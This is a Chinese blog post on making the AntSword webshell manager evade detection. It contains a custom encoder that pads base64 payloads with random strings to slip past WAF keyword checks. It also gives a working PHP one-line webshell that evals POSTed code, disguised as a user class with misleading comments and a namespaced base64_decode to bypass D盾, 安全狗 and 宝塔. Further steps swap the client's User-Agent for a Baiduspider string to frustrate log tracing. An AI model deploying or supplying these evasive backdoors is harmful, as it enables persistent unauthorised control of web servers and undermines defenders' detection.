从静态到动态打造一款免杀的antSword(蚁剑)

0x1 前言

​ 之前在逛一些技术论坛就看到绕waf的权限维持技术,作为一枚菜鸡脚本小子的我看完之后也打算跃跃欲试,于是就有了这篇水文。但是网上都是说菜刀之类的,但是我个人比较喜欢antSword这款开源的软件,然后简单读了下其文档,发现他支持高度自定义,而且可以直接修改代码,简直方便的不要不要的,于是就有了下面这篇简单的文章。

0x2 动态免杀

​ 这里我理解的动态免杀比较low,其实就是应用层的流量加密,这样可以绕过一些waf对流量一些关键词的检测,我这个方法其实最大的亮点就是操作比较简单吧,技术含量还是很低级,但目前自我感觉还是有点实用价值。

这里首先要谈下antSword的自定义编码器

打开蚁剑的系统设置就可以看到编码管理选项,这里选择新增一个编码器

这里可以通过代码和注释看出编码器的作用,下面是我修改的编码器结果:

这些代码主要就是javascript node.js基础语法

/**
 * php::base64编码器
 * Create at: 2019/01/26 23:51:47
 */

'use strict';

/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let randomID = `${Math.random().toString(16).substr(2)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  let encry= new Buffer(data['_']).toString('base64');

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `${randomID}`+encry+`${randomID}`;
  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

主要就是3行代码:

let randomID = `${Math.random().toString(16).substr(2)}`; //生成13位随机字符串
 let encry= new Buffer(data['_']).toString('base64'); //传输数据base64
 data[pwd] = `${randomID}`+encry+`${randomID}`; //随机字符串+传输数据base64+随机字符串

随机字符串+传输数据base64+随机字符串这样的结果是干扰一些waf进行模糊解码,这样是不可能被直接解密的。

也许有人说这样固定字符串不够动态,但是你完全可以在设置个参数传入长度进shell里面

比如这样?

module.exports = (pwd, data) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例

  // 生成一个随机变量名
  let num =  Math.floor(Math.random()*15);
  let randomStr = `${Math.random().toString(16).substr(num)}`;
  // 原有的 payload 在 data['_']中
  // 取出来之后,转为 base64 编码并放入 randomID key 下
  let encry= new Buffer(data['_']).toString('base64');
  data['num'] = 15-num;

  // shell 在接收到 payload 后,先处理 pwd 参数下的内容,
  data[pwd] = `${randomStr}`+encry+`${randomStr}`;
  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

这里设置下AntantSword的代理设置为http,burp监听端口查看下结果

配置好shell,然后连接shell,再查看burp的流量

可以看到http的流量除了是User-Agent: antSword/v2.0 这个很明显的特征基本没有敏感关键字,而且num也是随机值,这个编码器基本达到了流量加密的目的,而且post的表单形式,更是对很多waf存在免疫力,所以说效果个人感觉还是挺不错的。

既然服务端已经配置好了,那么就要考虑下客户端也就是webshell的免杀和应用编写了。

0x3 静态免杀

​ 由于我目前虚拟机也就只是装了D盾和安全狗还有个宝塔,所以随手测试下写了个免杀这三个waf的一个php一句话(ps 没啥技术含量)

<?php
/* 用户操作类 */
class User
{
  public $name = '';
  public $config = null;

  function __destruct(){
    @eval(''.$config."$this->name");
  }
}
// 生成用户
$user = new User;
$num = @$_POST['num'];
// 传递用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));
$user->name = ''.$c;
?>

我个人感觉只要过了D盾,一般也能过狗吧。

这里谈谈思路:

首先服务端传入的是随机长度字符串+base64传输数据+随机长度字符串

webshell对应的解码就是:

$num = @$_POST['num'];
// 传递用户信息
$c = \base64_decode((substr(@$_POST['a'],$num,-$num)));

关于怎么过D盾,assert过D盾挺简单,但是考虑了下兼容性,我觉得用eval来演示效果更好。

这里参考两篇文章:

过D盾webshell分享

404大牛的对于免杀webshell的一些总结

首先构造个类然后利用一些php的特性比如 eval(''.phpinfo()); 来实现绕过D盾

然后发现D盾还是报二级 base64_decode解码,发现网上文章很多人放弃了base64_decode()(D盾超喜欢)

然后我当时构造了下:

<?php
$a = $_POST['a'];
$c = base64_decode($a);
?>

发现没有报毒,我觉得还是有戏的。

后来我简单想了下利用命名空间来实现了绕过

\base64_decode()

然后加点注释,误导一些像我这样的小白。

最后附上一张免杀图的:

0x4 处理下UA明显特征

​ 很多人用蚁剑其实都是默认配置就用了,所以默认就带有User-Agent: antSword/v2.0,日志溯源简直是爽YY。不过蚁剑在添加shell的时候也提供了自定义的header头功能,但是用起来我感觉不是很方便,不如直接在代码里面修改了。

这里可以用百度UA:

Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)

当然你也可以准备多个UA存进数组里,每次随机调用,我个人感觉没太大实用价值,后门还是要做在底层才比较稳。

antSword-2.0.4/modules/request.js

中有个const USER_AGENT = 'antSword/v2.0';

替换为

antSword-2.0.4/modules/update.js

直接替换两处就行了。

下面再次抓包看看结果:

OK,打工告成。

0x5 一些思考

​ 1.如果waf是检测到异常流量包的话就丢弃的话,这种方法就没啥用了

​ 2.如果底层hook函数,这种方法也就没啥用了,但是我感觉这种成本很高,一般waf也不会这样做吧。

​ 3.因为是初次探索这个领域,各方面了解的不是很多,希望各位师傅大力指点,传授各种骚姿势。

0x6 感想

​ 行文下来,个人感觉操作非常简单,而且还是有点实用,兼容性还是挺满意的,文章可能诸多纰漏,希望各位师傅不要介意。

源链接

Hacking more

...